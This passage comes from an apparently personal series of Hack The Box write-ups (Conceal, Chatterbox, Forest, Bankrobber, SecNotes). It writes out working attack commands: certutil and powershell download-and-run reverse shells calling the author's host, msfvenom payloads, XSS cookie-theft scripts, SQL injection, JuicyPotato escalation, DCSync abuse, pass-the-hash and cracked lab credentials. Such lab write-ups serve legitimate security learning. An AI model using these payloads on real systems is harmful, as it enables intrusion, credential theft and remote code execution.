algorithm was 3DES. This blog showed me how 3DES should be configured.\nhttps://wiki.strongswan.org/issues/2666\nI got two important settings from it. Of course, the other settings still had to be worked out one by one.\nNext, I tried connecting. If it worked, I wouldn\u0026rsquo;t need to inspect the remaining settings.\nIt still failed and just kept trying to connect.\nSo I went through the settings one at a time. The version might be wrong.\nA quick Google search turned up the parameter.\nChanging it to 1 fixed that.\nNow to test whether it could connect.\nStill an error. I continued checking the other parameters.\nhttps://wiki.strongswan.org/projects/strongswan/wiki/connsection\nThis blog documents all the parameters, and I found a crucial detail there. I had never set this option, which was why I couldn\u0026rsquo;t connect.\nleft|rightsubnet lets you select the protocol. The default is TCP/UDP, which prevented me from connecting because its UDP ports were already exposed. That was the logic here: to connect, I had to use TCP only. With that, the configuration was complete and I could finally connect.\nHere is the full process:\napt-get install strongswan libcharon-extra-plugins\nEdit the following configuration file:\nvim /etc/ipsec.secrets\n1 2 3 4 5 6 # This file holds shared secrets or RSA private keys for authentication. # RSA private key for this host, authenticating it to any other host # which knows the public part. : PSK \u0026#34;Dudecake1!\u0026#34; vim /etc/ipsec.conf\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # ipsec.conf - strongSwan IPsec configuration file # basic configuration config setup charondebug=\u0026#34;all\u0026#34; uniqueids=yes strictcrlpolicy=no conn test authby=secret auto=add ike=3des-sha1-modp1024! esp=3des-sha1! type=transport keyexchange=ikev1 left=10.10.16.3 right=10.10.10.116 rightsubnet=10.10.10.116[tcp] ipsec restart\nipsec status\nipsec up test\nThat did it. Of all the blog posts I referenced for this part, the useful ones were roughly these:\nhttps://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/\nhttps://help.clouding.io/hc/en-us/articles/11453622632220-How-to-Install-and-Configure-strongSwan-on-Debian-Ubuntu-IPsec-Only\nhttps://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/\nhttps://ericfu.me/debian-strongswan-ikev2-vpn/#strongswan-%E9%85%8D%E7%BD%AE\nhttps://wiki.strongswan.org/projects/strongswan/wiki/connsection\nhttps://wiki.strongswan.org/issues/2666\nhttps://blog.imkasen.com/strongswan-config/\nI was finally in and could scan TCP. I had found a few ports earlier, but it was worth scanning again.\nThe results came back, but the scan had to be TCP because we had only connected over TCP.\nThere was nothing available through anonymous ftp.\nPort 80 revealed an upload directory.\nI couldn\u0026rsquo;t connect to the smb service.\nThere were matching upload directories on ftp and http. Obviously, ftp was serving the http directory, though I still needed to verify it.\nSure enough, after I uploaded 1.txt over ftp, it appeared under upload. Now I needed to find out what the backend used. It was usually asp or aspx, if I remembered correctly, so I tried them one by one.\naspx failed.\nasp failed too.\nSwitching to a different asp shell worked.\nhttps://github.com/tennc/webshell/blob/master/asp/webshell.asp\nIt was strange that the asp backdoor from msfvenom failed.\nGenerate the backdoor.\nPut the command together:\ncertutil -urlcache -split -f http://10.10.16.3:33333/Conceal/shell.exe \\Users\\Destitute\\1.exe \u0026amp;\u0026amp; start \\Users\\Destitute\\1.exe\nThe reverse connection succeeded.\nI got a shell.\nTime to escalate privileges. Unfortunately, I didn\u0026rsquo;t know Windows privilege escalation particularly well at the time. I had only learned the systeminfo approach.\nI tried everything I could.\nAfter trying quite a few privilege-escalation methods, Rotten Potato seemed like a good fit for this box.\nwhoami /priv\nThis is one of the standard privilege-escalation approaches. I couldn\u0026rsquo;t learn only by working through boxes; I still needed to spend more time studying Windows privilege escalation.\nIt was pretty straightforward to use.\nBut it kept failing and I couldn\u0026rsquo;t get it to work. Time to switch to JuicyPotato.\nProject: https://github.com/ohpe/juicy-potato/releases/tag/v0.1\nnc: https://eternallybored.org/misc/netcat/\nUpload everything to the target machine.\n1 2 certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/jp.exe \\Users\\Destitute\\jp.exe certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/nc64.exe \\Users\\Destitute\\nc64.exe Next, prepare the other files.\n1 2 3 4 5 6 7 # Create a reverse-shell batch file; replace nc64 with its absolute path echo START C:\\Users\\Destitute\\nc64.exe -e cmd.exe 10.10.16.3 5555 \u0026gt; shell.bat # https://github.com/ohpe/juicy-potato/tree/master/CLSID Find the matching CLSID # https://github.com/ohpe/juicy-potato/blob/master/CLSID/Windows_10_Enterprise/CLSID.list I used the last entry # For -l, use any unused port .\\jp.exe -t t -p .\\shell.bat -l 1118 -c \u0026#34;{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}\u0026#34; nc -lvnp 5555 Done.\nI learned a lot from this box. The hardest part, in my opinion, was configuring ipsec. It took ages and was a real pain.\nThe other big lesson was Rotten Potato. I hadn\u0026rsquo;t had much exposure to standard Windows privilege escalation, but now this technique was burned into my memory.\n6.Chatterbox Recon:\nThe usual smb connection didn\u0026rsquo;t work, but nmap reported information about two services on ports 9255 and 9256.\nI Googled them to find out what these services were.\nSure enough, I found an exploit for them.\nUnfortunately, the exploit on Kali just wouldn\u0026rsquo;t work no matter how many times I tried it. Maybe there was something wrong with how it generated the payload.\nLuckily, I found a project on GitHub:\nhttps://github.com/mpgn/AChat-Reverse-TCP-Exploit\nThis exploit had a bit of a problem too: it gave me an msf shell, so I still needed to modify it. The Kali exploit above actually showed how to generate the payload, but whenever I tried adding LHOST and LPORT, it either threw an error or failed. I just needed to tweak the payload from this GitHub project instead.\nmsfvenom -a x86 \u0026ndash;platform Windows -p windows/shell_reverse_tcp RHOST=10.10.10.74 LHOST=10.10.16.3 LPORT=6666 exitfunc=thread -e x86/unicode_mixed -b \u0026lsquo;\\x00\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff\u0026rsquo; BufferRegister=EAX -f python\nThat did the trick. I only had to replace buf in the exploit.\nshell\nTime to start privilege escalation. After running systeminfo, it looked like Rotten Potato might still be an option.\nIt wasn\u0026rsquo;t enabled.\nHowever, we could still enter the administrator directory and find the root.txt file.\nTrying to access it returned a permissions error, but dir /q showed that the file belonged to the current user. All we had to do was grant it read access.\nThis post was a useful reference: https://blog.csdn.net/senge_com/article/details/134508668\ncacls root.txt /p everyone:f /e /t\nDone. I still hadn\u0026rsquo;t actually escalated to administrator, though.\nTime to start reading writeups—all of them, really, since Windows privilege escalation is one of my weaker areas.\nThis seems to be the route everyone took. I still haven\u0026rsquo;t found a Windows enumeration script like linenum on Linux. Maybe everything has to be done manually?\n7.Forest Information gathering:\nLet\u0026rsquo;s go through them one by one.\ndomain dns\nNo shares by default.\nLooking more closely, I realized this was actually a domain controller.\n======================================================\nSkipping ahead five days.\n======================================================\nI spent five days cramming domain penetration testing. I learned and reproduced all the basic logic and common vulnerabilities, and documented them in another article.\nA few days earlier, back when I didn\u0026rsquo;t know much about domains, I read a write-up that put it like this:\nThis goes beyond the scope of the OSCP exam. If someone can complete this box without help, the Active Directory portion of OSCP should be no problem for them. The author also mentioned that this box is intended for practice, so I\u0026rsquo;ll work through it using my own ideas and consult a write-up whenever I get stuck.\nStarting here: I\u0026rsquo;d already checked the domain controller\u0026rsquo;s DNS and SMB, but didn\u0026rsquo;t find much because my information gathering wasn\u0026rsquo;t thorough enough. Since I now knew the target was a domain controller, the first thing to get was its hostname. By default, that gives you the domain controller\u0026rsquo;s computer account name. Then there was the domain name. I hadn\u0026rsquo;t obtained either of those before.\nLike this:\nStarting with LDAP.\n1 2 3 These are two enumeration methods; check the required parameters nmap -n -sV --script \u0026#34;ldap* and not brute\u0026#34; -p 389 \u0026lt;dc-ip\u0026gt; ldapsearch -x -h \u0026lt;ip\u0026gt; -s base 1 nmap -n -sV -sU --script \u0026#34;ldap* and not brute\u0026#34; -p 389 10.10.10.161 1 ldapsearch -x -H ldap://10.10.10.161:389 -s base 1 ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local https://book.hacktricks.xyz/cn/network-services-pentesting/pentesting-ldap mentioned a method for extracting information anonymously.\n1 ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local \u0026#34;(objectClass=person)\u0026#34; \u0026#34;*\u0026#34; + https://stackoverflow.com/questions/508014/active-directory-ldap-query-by-samaccountname-and-domain\nThat page mentioned some other parameters. After looking into it, I realized this was just a filter. The previous request returned a lot of information, so I needed a filter to narrow it down.\n1 ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local \u0026#34;(objectCategory=person)\u0026#34; | grep sAMAccountName That filtered out the exact names.\nThere are several other ways to find usernames.\nA service account I hadn\u0026rsquo;t seen before.\n1 2 GetNPUsers.py htb.local/svc-alfresco -format hashcat -outputfile foresthash.txt GetNPUsers.py htb.local/ -usersfile user1.txt -format hashcat -outputfile foresthash.txt Got the TGT. Let\u0026rsquo;s try cracking the password first.\n1 hashcat -m 18200 1.txt /usr/share/wordlists/rockyou.txt 1 svc-alfresco:s3rvice That step was done, but I had no idea how to get a shell from there. In my previous exploits, I could basically only get in as administrator or after privilege escalation.\nSo I tried the options one by one, based on what I\u0026rsquo;d learned before.\nThe output suggested it might work.\nBut it froze when I left the result empty.\nThis is where I learned a new trick.\nLet\u0026rsquo;s try them one by one.\n1 crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice It connected successfully.\n1 evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice I got in. It was a little laggy, so I did some information gathering.\nNothing I found seemed particularly important. I\u0026rsquo;d already gathered a lot from outside the domain.\nFrom a write-up, I learned that I needed to use Bloodhound to look for an exploitable path. I\u0026rsquo;d already installed it while learning domain penetration testing. If you need to install it, there are plenty of guides online.\nBefore using it, I started it up directly.\nI found a Windows information-gathering tool similar to LinEnum.sh on Linux.\nhttps://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855\nI uploaded it, but it didn\u0026rsquo;t turn up anything.\nNext, I started using bloodhound.\nhttps://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/\nThere are powershell and exe versions. I chose the exe version and uploaded it.\nI used certutil to transfer files into windows. For transferring files back out, I learned a new method here.\n1 2 python D:\\python3.9\\Scripts\\smbserver.py win10 . -smb2support copy .\\20241124052634_BloodHound.zip \\\\10.10.16.6\\win10\\smbserver Drag the file into the program and it will load automatically.\nSearch for SVC-ALFRESCO in the upper-left corner, and a pop-up will appear.\nOpen it and mark this user as owned.\nGo back to the upper-left corner of the screen, and under the query tab select Analysis \u0026ndash;\u0026gt;shortest path from Owned Principals.\nThe query returned this. All I could make out was that our current user belonged to these three groups, so I searched them on google.\nservice account group\nprivileged account group\nAnd then this:\nThere were also several blog posts below explaining how to exploit it.\nThat was when I realized I\u0026rsquo;d missed part of my studies. I\u0026rsquo;d finished constrained and unconstrained delegation, but hadn\u0026rsquo;t covered resource-based constrained delegation. This box was perfect for filling that gap, so I followed the tutorial, using https://cloud.tencent.com/developer/article/1937695 as a reference.\nThere is an exchange server in the domain. Here, choose:\n1 2 3 net group \u0026#34;Exchange Trusted Subsystem\u0026#34; svc-alfresco /add /domain Import-Module .\\PowerView.ps1 Add-DomainObjectAcl -TargetIdentity \u0026#39;DC=htb,DC=local\u0026#39; -PrincipalIde svc-alfresco -Rights DCSync -Verbose The method from that blog still failed. It added the current user to the Exchange Trusted Subsystem group.\nThen it granted that user DCSync privileges. The author also mentioned that you have to log in again for the ACL to reload, but I didn\u0026rsquo;t know how to make it reload, so I got stuck. Since the point of this box was learning, I went back to check the write-up again.\nThis time I understood the logic clearly.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 1. Create a domain account # We currently have this permission net user testuser1 password /add /domain 2. Add it to the Exchange Trusted Subsystem group; this also works net group \u0026#34;Exchange Trusted Subsystem\u0026#34; testuser1 /add /domain 3. The key step is granting it DCSync rights through the ACL $pass = convertto-securestring \u0026#39;password\u0026#39; -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential(\u0026#39;htb\\testuser1\u0026#39;, $pass) Add-DomainObjectAcl -Credential $cred -TargetIdentity \u0026#34;DC=htb,DC=local\u0026#34; -PrincipalIdentity testuser1 -Rights DCSync Here, testuser1 grants itself DCSync rights. My earlier attempt may have failed because I granted rights to the service account itself Windows may not allow this, or I may need to sign out and back in, although I used WinRM extensively I did not see this step in many blog posts; it is essentially Add-DomainObjectAcl -TargetIdentity \u0026#39;DC=htb,DC=local\u0026#39; -PrincipalIde svc-alfresco -Rights DCSync I also tried using svc-alfresco to grant testuser1 rights with Add-DomainObjectAcl, but it failed immediately As shown below, it didn\u0026rsquo;t work.\nAfter thinking about it, the main reason was that we only had permission to create users, not to grant privileges. Creating a normal domain account was fine. Once we added it to the Exchange Trusted Subsystem group, it could grant privileges to itself. That made perfect sense. I also asked claude to verify my theory.\nAs shown below:\nThen just use PTH.\n1 2 aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 PsExec.exe administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 Done!\nJust as I said when I first started this box, it was mostly for learning. While filling in the gaps in my domain penetration testing knowledge, I\u0026rsquo;d mostly built local environments. I\u0026rsquo;d learned so much that things were getting a little jumbled. I hadn\u0026rsquo;t encountered the resource-based constrained delegation used later in this box. I basically understood the earlier parts, but my knowledge was broad rather than deep. This box helped reinforce some of what I\u0026rsquo;d learned. All I can say is: I still need a lot more practice.\n8.Bankrobber I\u0026rsquo;m already getting a bad feeling about this.\nRecon:\nSMB doesn\u0026rsquo;t allow anonymous access.\nFingerprinting:\nA cryptocurrency trading platform.\nLooks like I\u0026rsquo;ve found the framework.\nFound this:\nThere may be a broken access control issue here.\nJust as it says, this can only be accessed locally. Based on the information above, he also moved the stuff in xmapp to TODO.\nThat\u0026rsquo;s basically it for recon. Time to start attacking the box.\nThe id at the user endpoint is definitely problematic—there is a broken access control issue. But it only exposes information and things like that, so it doesn\u0026rsquo;t seem particularly useful. Also, the credentials work exactly as described above: your username, password, and id are placed in the cookie.\n/admin looks like the admin interface, but even when I brute-forced it, it kept saying I didn\u0026rsquo;t have enough privileges.\nAt /phpmyadmin, we already know it only permits localhost. I tried configuring xff and similar headers, but still couldn\u0026rsquo;t bypass it.\nThere doesn\u0026rsquo;t seem to be anything else to exploit, but one thing worth mentioning is that httponly is empty, so an XSS could steal the cookie.\nAfter submitting a request here, it says an administrator will review it within a minute. This feels very likely to have an XSS.\nMainly because it returns no response body. Also, the ID above is worth testing for SQL injection, but let\u0026rsquo;s take things one at a time.\n1 2 \u0026lt;script\u0026gt;location.href=\u0026#34;http://10.10.16.29:33333/cookie.php?cookie=\u0026#34;+document.cookie\u0026lt;/script\u0026gt; ncat -lvnp 33333 Unfortunately, nothing came back.\nI tried SQL injection, but it looks like none of these parameters touch the database, since the request is supposed to be reviewed by an administrator.\nI tried several more XSS payloads:\n1 2 3 4 5 6 \u0026lt;script src=\u0026#34;http://10.10.16.29:33333/1.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; document.write(\u0026#39;\u0026lt;img src=\u0026#34;http://10.10.16.29:33333/2.js\u0026#34;\u0026gt;\u0026#39;); \u0026lt;/script\u0026gt; \u0026lt;img src=\u0026#34;http://10.10.16.29:33333/3.js\u0026#34;\u0026gt; \u0026lt;script src=\u0026#34;http://10.10.16.29:33333/4.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; None of them worked. The hint made it sound like this was the right approach, though. I went through a lot of other things afterward: nearly every directory found through brute-forcing returned a 403 for insufficient privileges, 3306 also required local access, and SMB had no anonymous login. I was completely stuck at this point.\nOne more possibility was that the HTTPS and HTTP sites might contain slightly different things, so I checked that next.\nUnfortunately, they were basically identical apart from SSL.\nI was completely stuck here, so I glanced at a writeup and finally saw what was wrong.\nI hadn\u0026rsquo;t paid close attention to the parameters here.\nFirst, the amount has to be less than the 900 I currently have. It can\u0026rsquo;t be greater than 900.\nSecond, the specified ID: 1 definitely exists, but whether any of the others exist has to be determined by brute-forcing the id parameter in the cookie. Using 1 here is definitely fine.\nThe third parameter is the actual XSS.\nYou can also remove the number restriction on the second parameter from the frontend, and using an email address works too. All four payloads above work perfectly fine.\nI found a working payload online.\n1 \u0026lt;script\u0026gt;newImage().src=\u0026#34;http://10.10.16.29:33333/cookie1.php?cookie=\u0026#34;%2bdocument.cookie;\u0026lt;/script\u0026gt; I got a callback.\n1 username=admin; password=Hopelessromantic; id=1 There are two endpoints in the admin panel: one queries information, and the other executes commands. The second one screams command injection.\nIt wouldn\u0026rsquo;t let me use it, though. It said it was only available locally, and adding xff didn\u0026rsquo;t help either.\nWhile querying it, I found a possible SQL injection.\nString-based SQL injection.\nAt this point, we know we can\u0026rsquo;t access mysql, though of course that depends on the specific privilege settings and we may be able to read it later. We also know that xmapp was moved to the TODO directory. Once we check the permissions, we may be able to write a shell.\n1 -1\u0026#39; UNION SELECT 1,2,3 --+ Found the reflected column.\nCurrent account:\nsecure_file_priv is empty, which means we can write arbitrary files, but we still need the absolute path.\n1 -1\u0026#39; UNION SELECT 1,@@global.secure_file_priv,3 --+ At this point, I didn\u0026rsquo;t even bother checking whether the account could log in remotely, because we could already write a shell. If the target only exposed mysql, we might need UDF privilege escalation, but it also has a PHP site, so I planned to write a shell instead. For now, I needed the absolute path.\n1 2 -1\u0026#39;;create user \u0026#39;test\u0026#39;@\u0026#39;localhost\u0026#39; identified by \u0026#39;123456\u0026#39;;--+ -1\u0026#39;;grant all privileges on *.* to \u0026#39;test\u0026#39;@\u0026#39;%\u0026#39; identified by \u0026#39;123456\u0026#39; with grant option;--+ I got in successfully, with administrator privileges.\nThe permissions look fine, as shown below.\nThe database path is:\nAccording to the hint, replacing xampp with TODO should do the trick.\nI tried reading files.\n1 2 3 create table test(cmd text); insert into test(cmd) values (load_file(\u0026#39;C:\\TODO\\htdocs\\notes.txt\u0026#39;)); update test set cmd=(load_file(\u0026#39;C:\\Windows\\my.ini\u0026#39;)); After trying for a long time, I finally found what looked like the web root and attempted to read from it.\n1 update test set cmd=(load_file(\u0026#39;C:/xampp/htdocs/user/transfer.php\u0026#39;)); I could read it, which meant the file existed. But when I used:\n1 2 update test set cmd=(load_file(\u0026#39;C:/TODO/htdocs/user/transfer.php\u0026#39;)); update test set cmd=(load_file(\u0026#39;C:/TODO/user/transfer.php\u0026#39;)); Neither path worked. I tried writing a file under xampp first.\nI didn\u0026rsquo;t have enough privileges, so I was stuck again. At this point, all I really had were file read and write privileges.\nUDF privilege escalation was also unavailable. You can\u0026rsquo;t escalate when the plugin value is empty. MaridaDB is a fork of mysql, but I couldn\u0026rsquo;t find anything useful about mariadb no matter how much I searched.\nThis was a dead end. The remaining options were auditing the PHP code or reading root\u0026rsquo;s password and trying password reuse. SMB was still inaccessible.\nI started reading the code. First I tried the files in the admin directory, then the ones under user, and finally index.php on the home page.\nI started with the endpoint that could execute cmd, then moved on to the page with the SQL injection from earlier.\nThe code is pretty easy to understand, and there\u0026rsquo;s a system function here. I had a strong feeling this was the way in.\nThe first restriction requires the username and password to be correct. The second checks that the cmd parameter doesn\u0026rsquo;t contain $( or \u0026amp;, but we can actually bypass that with ||.\nThe next check looks at whether the first three characters are dir, but with || that doesn\u0026rsquo;t really matter.\nThe main problem is the third check: $_SERVER[\u0026lsquo;REMOTE_ADDR\u0026rsquo;] requires a local request. None of the methods I found could bypass it; the only option seemed to be using a proxy to change the IP.\nStill no luck.\nSince I couldn\u0026rsquo;t bypass it directly, I followed that thread: maybe I needed to find an SSRF or build a tunnel.\nThere was nothing useful in search either.\nI went back over everything and noticed this:\nIn other words, there was never a directory that needed to be moved. It was just a hint that the xampp directory existed. I was completely, utterly stuck here with no ideas at all. I couldn\u0026rsquo;t build a tunnel through mysql, and I had no username or password for SMB.\nThen I glanced at a writeup and realized I\u0026rsquo;d completely forgotten that the XSS was triggered locally by the administrator. That meant it could trigger SSRF.\nWe know files can be written under C:/xampp/, so I built the payload.\n1 msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.29 LPORT=6666 1 2 3 4 5 var httpRequest = new XMLHttpRequest(); httpRequest.open(\u0026#39;POST\u0026#39;, \u0026#39;http://localhost/admin/backdoorchecker.php\u0026#39;, true); httpRequest.setRequestHeader(\u0026#34;Content-type\u0026#34;,\u0026#34;application/x-www-form-urlencoded\u0026#34;); httpRequest.setRequestHeader(\u0026#34;Cookie\u0026#34;,\u0026#34;id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D\u0026#34;); httpRequest.send(\u0026#39;cmd=dir | powershell -c \u0026#34;Invoke-RestMethod -Uri http://10.10.16.29:33333/shell.exe\u0026#34; -OutFile C:/xampp/shell.exe;start C:/xampp/shell.exe\u0026#39;); Triggering it once more worked. I was stuck here for quite a while too, again because I missed a detail. After staring at it forever, I finally noticed that I\u0026rsquo;d been using http://localhost/ as the URL without adding /admin/backdoorchecker.php. And because I had to wait for it to keep making requests before I could work out what was wrong, this held me up for a long time.\nBut the result was good.\nI uploaded winPEASany.exe to take a look around.\nAll the passwords had been deleted.\nLooking at the ports, I noticed one for bankv2.\nI decided to build a tunnel and take a look.\n1 2 3 4 5 6 7 8 9 [common] server_addr = 10.10.16.29 server_port = 7000 [mysql] type = tcp local_ip = 127.0.0.1 local_port = 910 remote_port = 6000 1 2 [common] bind_port = 7000 Since I only needed to forward this one port, there was no need to configure a proxy. Setting up the proxy would have been a hassle anyway, so I skipped it.\nIt worked, but required a password.\nI wrote a simple script.\n1 2 3 4 5 6 #!/bin/bash for i in {0000..9999} do echo $i echo $i | nc 127.0.0.1 6000 done After 0021, it told us the password was correct.\nIt calls the transfer.exe tool here, using an absolute path.\nI could think of four approaches. First, if I could swap out this exe, I could get a shell. Second, if it didn\u0026rsquo;t use an absolute path, I could modify the environment variables. Third, perhaps there was a backup or some way to obtain the program and reverse-engineer it—although reversing it wasn\u0026rsquo;t very realistic. If the source code was available, I could audit it for injection. Fourth, I could get a backup and look for a buffer overflow.\nOne: I couldn\u0026rsquo;t replace it because I couldn\u0026rsquo;t access that directory.\nTwo: it used an absolute path, so there was nothing I could do.\nThree: there was no backup. I used find and only found files such as transfer.php.\nFour: there was no backup, but I could still test it.\nThen, while I was testing for a buffer overflow, something magical happened.\nIt looked like entering letters would overwrite it.\nSure enough, it could be overwritten. I needed to find the exact offset. It looked a bit like a buffer overflow, though clearly it wasn\u0026rsquo;t quite the same thing.\n1 2 Testing showed that 32 characters are enough to overwrite it; uppercase and lowercase letters cover 52 positions, so this can be faster aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaC:\\xampp\\shell.exe Done.\nThis box took me several hours and was seriously impressive. I checked a writeup twice while I was stuck trying to get a shell, but both times it was because I hadn\u0026rsquo;t been careful enough and had missed something. I\u0026rsquo;ve done a lot of Linux boxes, so the more general techniques here actually felt manageable. I suspect it was rated Hard because it demands such a broad range of skills: XSS and SQL injection on the external-facing site, XSS+SSRF to get a shell, port forwarding for privilege escalation, writing a bash shell script, and something resembling a buffer overflow. Still, none of the techniques were fundamentally hard to understand. I just need to be more careful next time.\n9.SecNotes Recon:\n1 2 3 4 None of the three allows anonymous login smbmap -H 10.10.10.97 smbclient -N -L //10.10.10.97 enum4linux -a 10.10.10.97 There was a stored XSS in new note.\nSure enough, just like the previous one, it had to be triggered through contact us.\nAnd what I submitted here was:\n1 2 3 4 5 6 7 \u0026lt;script src=\u0026#34;http://10.10.16.29:33333/1.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; document.write(\u0026#39;\u0026lt;img src=\u0026#34;http://10.10.16.29:33333/2.js\u0026#34;\u0026gt;\u0026#39;); \u0026lt;/script\u0026gt; \u0026lt;img src=\u0026#34;http://10.10.16.29:33333/3.js\u0026#34;\u0026gt; \u0026lt;script src=\u0026#34;http://10.10.16.29:33333/4.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; certutil -urlcache -split -f http://10.10.16.29:33333/testsuccess Clearly, it executed certutil So the commands sent over would be executed.\n1 certutil -urlcache -split -f http://10.10.16.29:33333/Bankrobber/shell.exe C:\\shell.exe | start C:\\shell.exe The target still requested the download, but it never executed. Clearly, the current directory was not writable.\nI kept trying to chain commands but could never get them to execute. Then I realized this was not command execution at all: it automatically clicked any link I submitted.\nWhenever I submitted a link, it would be requested. I wasn\u0026rsquo;t sure whether it saved the file locally, and even if it did, I had no idea where. Since this was a php site, I also submitted an ftshell php file, but no shell came back.\nIf this really was XSS, I could still exfiltrate a few things, but I couldn\u0026rsquo;t figure out exactly how it worked. Was php making the request, or was it being launched through php functions such as system or eval?\nAfter investigating for ages, it turned out to be none of those. If the submitted content contained multiple urls, it visited them separately. If it contained characters such as \u0026lsquo;)$, it would not visit them. At the same time, I found that:\n1 http://10.10.10.97/change_pass.php?password=password1\u0026amp;confirm_password=password1\u0026amp;submit=submit This worked successfully, which made the path forward obvious: send it this URL and have it change the password. We already had the username too.\nSuccess.\nThe middle section was probably port knocking, while the section below contained the smb credentials and shared folder.\nI started with the simpler option below.\nI downloaded both files. They seemed to point to port 8808, so I checked whether the image contained any steganography, but found nothing. Oddly, when I generated an md5 for the png and searched google, I couldn\u0026rsquo;t find a match. That suggested the image might not be a default asset, but some kind of screenshot instead.\nAfter thinking about it for a while, I felt I was heading in the wrong direction again. Maybe this was simply the site running on port 8808, and iisstart was the default iis landing page. Time to test it.\nThat worked. I wasn\u0026rsquo;t sure what the backend was written in. While running strings on the image, I saw .net inside it, so the backend might have been written in c#. I decided to try asp first, then php if that failed.\n1 msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x\u0026gt; ./back.asp Strangely, my uploaded back.asp returned a 404 even though it was right there in the directory. At first I thought I had misunderstood and this wasn\u0026rsquo;t the web directory. Then I uploaded a 1.txt file and found that it was still accessible. So was the extension being blocked here? Maybe I needed a bypass.\nI tried several extensions with no luck at all, so I started trying php.\nNo problem—it parsed successfully. My reverse shell was for linux, though, so I just needed to change that.\nA one-liner:\nIt periodically cleared the smb share. I just had to put the shell there, execute it through the webshell, and it would be OK.\nGot a shell.\nThis shell couldn\u0026rsquo;t even run systeminfo, so I decided to inspect the website first.\n1 2 3 4 5 6 7 server with default setting (user \u0026#39;root\u0026#39; with no password) */ define(\u0026#39;DB_SERVER\u0026#39;, \u0026#39;localhost\u0026#39;); define(\u0026#39;DB_USERNAME\u0026#39;, \u0026#39;secnotes\u0026#39;); define(\u0026#39;DB_PASSWORD\u0026#39;, \u0026#39;q8N#9Eos%JinE57tke72\u0026#39;); //define(\u0026#39;DB_USERNAME\u0026#39;, \u0026#39;root\u0026#39;); //define(\u0026#39;DB_PASSWORD\u0026#39;, \u0026#39;qwer1234QWER!@#$\u0026#39;); define(\u0026#39;DB_NAME\u0026#39;, \u0026#39;secnotes\u0026#39;); Database credentials. I might need to set up a tunnel and expose mysql through it.\n1 mysql -h 127.0.0.1 -P 6000 -u secnotes -p\u0026#39;q8N#9Eos%JinE57tke72\u0026#39; After setting up the tunnel, I connected successfully. Unfortunately, root couldn\u0026rsquo;t connect, and there was nothing useful in the database.\nI kept digging through the directories. Oddly, when I found the flag, I also noticed a bash.lnk on the Desktop pointing to bash.exe under system. That was strange.\nIt didn\u0026rsquo;t throw an error either, which meant it was available and present in the environment variables. I tried plenty of commands, but none would execute. Then I found an ubuntu.zip archive in the root directory.\nI found Ubuntu inside Distros, so I started searching the directory structure to figure out what it was.\n1 2 3 4 5 6 7 8 9 10 11 AppxBlockMap.xml AppxManifest.xml AppxMetadata AppxSignature.p7x Assets images install.tar.gz resources.pri temp ubuntu.exe [Content_Types].xml This suggested it was a subsystem. I started looking for ways to exploit it.\nhttps://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/WSL%E5%AD%90%E7%B3%BB%E7%BB%9F.md\n1 2 3 4 5 6 7 8 wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c \u0026#39;BIND_OR_REVERSE_SHELL_PYTHON_CODE\u0026#39; bash file bash.exe may also be located at C:\\Windows\\WinSxS\\amd64_microsoft-windows-lxssbash_[...]\\bash.exe Alternatively, explore the WSL filesystem C:\\Users\\%USERNAME%\\AppData\\Local\\Packages\\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\\LocalState\\rootfs\\ For the first approach, I couldn\u0026rsquo;t find wsl anywhere, and running ./ubuntun.exe config \u0026ndash;default-user root just hung.\nThe second approach used bash.exe.\nAs you can see, it did absolutely nothing.\nWith the third approach, I could locate the actual directory.\nThe first thing I did was look for 